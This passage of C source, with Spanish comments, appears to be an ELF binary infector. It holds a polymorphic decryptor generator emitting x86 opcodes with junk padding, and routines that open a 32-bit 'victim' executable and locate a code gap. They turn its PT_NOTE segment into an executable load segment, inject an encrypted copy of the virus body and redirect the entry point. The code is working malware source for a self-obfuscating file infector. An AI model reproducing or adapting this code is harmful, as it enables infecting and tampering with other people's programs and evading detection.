  754.           buffer[p++] = 0x58 + reg_cpu_idx[template[i].reg];
  755.           buffer[p++] = 0x83;
  756.           buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  757.           buffer[p++] = 0x0a;
  758.           buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
  759.           buffer[p++] = 0xe9;
  760.           tmp = template[template[i].value].offset - (p + 4);
  761.           FAST_MEMCPY (&buffer[p], &tmp, 4);
  762.           p += 4;
  763.         }
  764.         else
  765.         {
  766.           /* Call corto */
  767.           buffer[p++] = 0xe8;
  768.          
  769.           tmp = template[template[i].value].offset - (p + 4);
  770.           FAST_MEMCPY (&buffer[p], &tmp, 4);
  771.           p += 4;
  772.         }
  773.        
  774.         break;
  775.        
  776.       case POLYMORPHIC_ACTION_JA:
  777.         buffer[p++] = 0x0f;
  778.         buffer[p++] = 0x87;
  779.         tmp = template[template[i].value].offset - (p + 4);
  780.         FAST_MEMCPY (&buffer[p], &tmp, 4);
  781.         p += 4;
  782.         break;
  783.      
  784.       case POLYMORPHIC_ACTION_JAE:
  785.         buffer[p++] = 0x0f;
  786.         buffer[p++] = 0x83;
  787.         tmp = template[template[i].value].offset - (p + 4);
  788.         FAST_MEMCPY (&buffer[p], &tmp, 4);
  789.         p += 4;
  790.         break;
  791.      
  792.       case POLYMORPHIC_ACTION_FIX:
  793.       case POLYMORPHIC_ACTION_INST:
  794.         FAST_MEMCPY (&buffer[p], template[i].bytes, template[i].size);
  795.         p += template[i].size;
  796.         /* Ahora, vamos a analizar el relleno */
  797.  
  798.         switch (template[i].subtype)
  799.         {
  800.           case INST_PAD_NOP:
  801.             buffer[p++] = 0x90;
  802.             break;
  803.            
  804.           case INST_PAD_ADD:
  805.             buffer[p++] = 0x81;
  806.             buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
  807.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  808.             p += 4;
  809.             buffer[p++] = 0x81;
  810.             buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  811.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  812.             p += 4;
  813.             break;
  814.          
  815.           case INST_PAD_SUB:
  816.             buffer[p++] = 0x81;
  817.             buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  818.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  819.             p += 4;
  820.             buffer[p++] = 0x81;
  821.             buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
  822.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  823.             p += 4;
  824.             break;
  825.          
  826.           case INST_PAD_XOR:
  827.             buffer[p++] = 0x81;
  828.             buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
  829.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  830.             p += 4;
  831.             buffer[p++] = 0x81;
  832.             buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
  833.             FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  834.             p += 4;
  835.             break;
  836.          
  837.           case INST_PAD_ROR:
  838.             buffer[p++] = 0xc1;
  839.             buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  840.             buffer[p++] = template[i].value;
  841.             buffer[p++] = 0xc1;
  842.             buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
  843.             buffer[p++] = template[i].value;
  844.             break;
  845.            
  846.           case INST_PAD_ROL:
  847.             buffer[p++] = 0xc1;
  848.             buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
  849.             buffer[p++] = template[i].value;
  850.             buffer[p++] = 0xc1;
  851.             buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  852.             buffer[p++] = template[i].value;
  853.             break;
  854.  
  855.          case INST_PAD_PUSHPOP:
  856.            buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
  857.            buffer[p++] = 0x58 + reg_cpu_idx[template[i].reg];
  858.            break;
  859.         }
  860.     }
  861.   }
  862.  
  863.   return 0;
  864. }
  865.  
  866.  
  867. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  868.    infectable */
  869. int
  870. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  871. {
  872.   int fd;
  873.  
  874.   if ((fd = open (path, O_RDWR)) < 0)
  875.     return -1; /* Error al abrir */
  876.    
  877.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  878.   {
  879.     close (fd);
  880.     return -1; /* Error al leer la cabecera */
  881.   }
  882.  
  883.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  884.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  885.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  886.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  887.   {
  888.     close (fd);
  889.     return -1; /* Números mágicos incorrectos */
  890.   }
  891.  
  892.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  893.   {
  894.     close (fd);
  895.     return -1; /* El ELF no es de 32 bits */
  896.   }
  897.  
  898.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  899.   {
  900.     close (fd);
  901.     return -1; /* El ELF no es little endian */
  902.   }
  903.  
  904.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  905.   {
  906.     close (fd);
  907.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  908.   }
  909.  
  910.   return fd;
  911. }
  912.  
  913. /* Macro para alinear a tamaños */
  914. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  915.  
  916. int
  917. get_gap_info (int fd, Elf32_Ehdr *Ehdr, int *idx, off_t *offset, uint32_t *vaddr, size_t *size)
  918. {
  919.   int i;
  920.   int code_idx;
  921.   Elf32_Phdr phdr;
  922.  
  923.   *idx = -1;
  924.  
  925.   for (i = 0; i < Ehdr->e_phnum; i++)
  926.   {
  927.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  928.       return -1;
  929.      
  930.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  931.       return -1;
  932.      
  933.     if (phdr.p_type == PT_LOAD)
  934.       if (phdr.p_flags & PF_X)
  935.       {
  936.         *idx = i;
  937.         break;
  938.       }
  939.   }
  940.  
  941.   if (*idx == -1)
  942.     return -1;
  943.  
  944.   *offset = phdr.p_offset + phdr.p_filesz;
  945.   *vaddr  = phdr.p_vaddr  + phdr.p_filesz;
  946.   *size   = 4096 - (*vaddr & 0xfff);
  947.      
  948.   for (i = 0; i < Ehdr->e_phnum; i++)
  949.   {
  950.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  951.       return -1;
  952.      
  953.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  954.       return -1;
  955.        
  956.     /* ¿Está a caballo entre dos segmentos? */
  957.     if (phdr.p_type == PT_LOAD)
  958.       if (*offset <= phdr.p_offset && phdr.p_offset < *offset + *size)
  959.         *size = phdr.p_offset - *offset; /* Corregimos, no queremos chafar lo otro */
  960.   }
  961.  
  962.   return 0;
  963. }
  964.  
  965. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  966. /* TODO: hacerlo con mmaps, más rápido. */
  967.    
  968. int
  969. replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *note_vaddr)
  970. {
  971.   int i;
  972.   int note_idx;
  973.   Elf32_Phdr phdr;
  974.   uint32_t lowest_va;
  975.      
  976.   lowest_va = 0xffffffff;
  977.  
  978.   /* Este bucle me calcula la dirección más alta del programa, además de que
  979.      me busca el PT_NOTE. */
  980.  
  981.   note_idx = -1;
  982.  
  983.   for (i = 0; i < Ehdr->e_phnum; i++)
  984.   {
  985.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  986.       return -1;
  987.      
  988.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  989.       return -1;
  990.      
  991.     if (phdr.p_type == PT_LOAD)
  992.     {
  993.       if (phdr.p_vaddr < lowest_va)
  994.         lowest_va = phdr.p_vaddr;
  995.     }
  996.     else if (phdr.p_type == PT_NOTE)
  997.       note_idx = i;
  998.   }
  999.  
  1000.   if (note_idx == -1)
  1001.     return -1;
  1002.    
  1003.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  1004.   read (fd, &phdr, sizeof (Elf32_Phdr));
  1005.      
  1006.    
  1007.   phdr.p_type = PT_LOAD;
  1008.      
  1009.   /* Alineamos al tamaño de página, esto es una restricción necesaria, ya
  1010.      que el kernel sólo puede definir nuevos segmentos a partir de nuevas
  1011.      páginas */
  1012.   phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  1013.   phdr.p_filesz = size;
  1014.   phdr.p_memsz  = ALIGN (size, 4096);
  1015.   phdr.p_flags = PF_X | PF_W | PF_R;
  1016.   phdr.p_offset = offset;
  1017.   phdr.p_align = 4096;
  1018.  
  1019.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  1020.  
  1021.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  1022.     return -1;
  1023.    
  1024.   *note_vaddr = phdr.p_vaddr;
  1025.  
  1026.   return 0;
  1027. }
  1028.  
  1029. int
  1030. inject (int fd, void *base, off_t offset, size_t size, int encrypt)
  1031. {
  1032.   int i;
  1033.   char *bytes;
  1034.   char byte;
  1035.  
  1036.   if (lseek (fd, offset, SEEK_SET) < 0)
  1037.     return -1;
  1038.    
  1039.   if (encrypt)
  1040.   {
  1041.     bytes = (char *) base;
  1042.     for (i = 0; i < size; i++)
  1043.     {
  1044.       byte = bytes[i] ^ lfsr (&encrypt);
  1045.       if (write (fd, &byte, 1) < 1)
  1046.         return -1;
  1047.     }
  1048.   }
  1049.   else
  1050.     if (write (fd, base, size) < size)
  1051.       return -1;
  1052.    
  1053.   return 0;
  1054. }
  1055.  
  1056. void
  1057. write_zeroes (int fd, int bytes)
  1058. {
  1059.   int i;
  1060.   int null = 0;
  1061.  
  1062.   for (i = 0; i < bytes; i++)
  1063.     write (fd, &null, 1);
  1064. }
  1065.  
  1066. void
  1067. payload (void)
  1068. {
  1069.   char msg[] = "DISASSEMBLE ME, I DARE YOU MOTHERFUCKER\\n";
  1070.   write (1, msg, sizeof (msg) - 1);
  1071. }
  1072.  
  1073.  
  1074. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  1075. void
  1076. _start (void)
  1077. {
  1078.   char buffer[9];
  1079.   Elf32_Ehdr Ehdr;
  1080.   size_t binsize;
  1081.   size_t binsize_aligned;
  1082.   size_t code_size;
  1083.   char *decryptor;
  1084.   int fd;
  1085.   int key;
  1086.  
  1087.   off_t gap_off;
  1088.   uint32_t gap_vaddr;
  1089.   size_t gap_size;
  1090.   int text_idx;
  1091.    
  1092.   uint32_t limit_bottom;
  1093.   uint32_t limit_top;
  1094.   uint32_t limit_middle;
  1095.   uint32_t note_vaddr;
  1096.  
  1097.   get_code_limits (&limit_bottom, &limit_middle, &limit_top);
  1098.   code_size = limit_top - limit_bottom;
  1099.  
  1100.   if ((fd = open_elf ("victim", &Ehdr)) == -1)
  1101.   {
  1102.     DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  1103.     for (;;);
  1104.   }
  1105.  
  1106.   if (get_gap_info (fd, &Ehdr, &text_idx, &gap_off, &gap_vaddr, &gap_size) == -1)
  1107.   {
  1108.     DEBUG ("No se puede encontrar el segmento de texto\\n");
  1109.     for (;;);
  1110.   }
  1111.    
  1112.   binsize = lseek (fd, 0, SEEK_END);
  1113.   binsize_aligned = ALIGN (binsize, 4096);
  1114.  
  1115.   /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  1116.      de página de x86 */
  1117.      
  1118.   write_zeroes (fd, binsize_aligned - binsize - 4);
  1119.  
  1120.   if (replace_note (fd, &Ehdr, binsize_aligned, code_size, &note_vaddr) == -1)
  1121.   {
  1122.     DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
  1123.     for (;;);
  1124.   }
  1125.  
  1126.   while (!(key = times ()));
  1127.  
  1128.  
  1129.   /* Ahora vamos a generar una rutina de desencriptado con nuestro flamante motor
  1130.      polimórfico del rastro de los domingos. La bomba: */
  1131.      
  1132.   decryptor = alloca (gap_size);
  1133.  
  1134.   if (gen_decryptor (key, Ehdr.e_entry, note_vaddr, gap_size, decryptor) == -1)
  1135.   {
  1136.     DEBUG ("No se puedo generar una rutina de desencriptado (no cabe)\\n");
  1137.     for (;;);
  1138.   }
  1139.  
  1140.   if (inject (fd, decryptor, gap_off, gap_size, 0) == -1)
  1141.   {
  1142.     DEBUG ("No se pudo inyectar la rutina de desencriptado.\\n");
  1143.     for (;;);
  1144.   }
  1145.  
  1146.   if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size, key) == -1)
  1147.   {
  1148.     DEBUG ("No se pudo inyectar el cuerpo encriptado.\\n");
  1149.     for (;;);
  1150.   }
  1151.  
  1152.   /* El punto de entrada está siempre en el offset 24 */
  1153.   inject (fd, &gap_vaddr, 24, sizeof (uint32_t), 0);
  1154.    
  1155.   DEBUG ("Binario victim infectado.\\n");
  1156.   for (;;);
  1157. }
');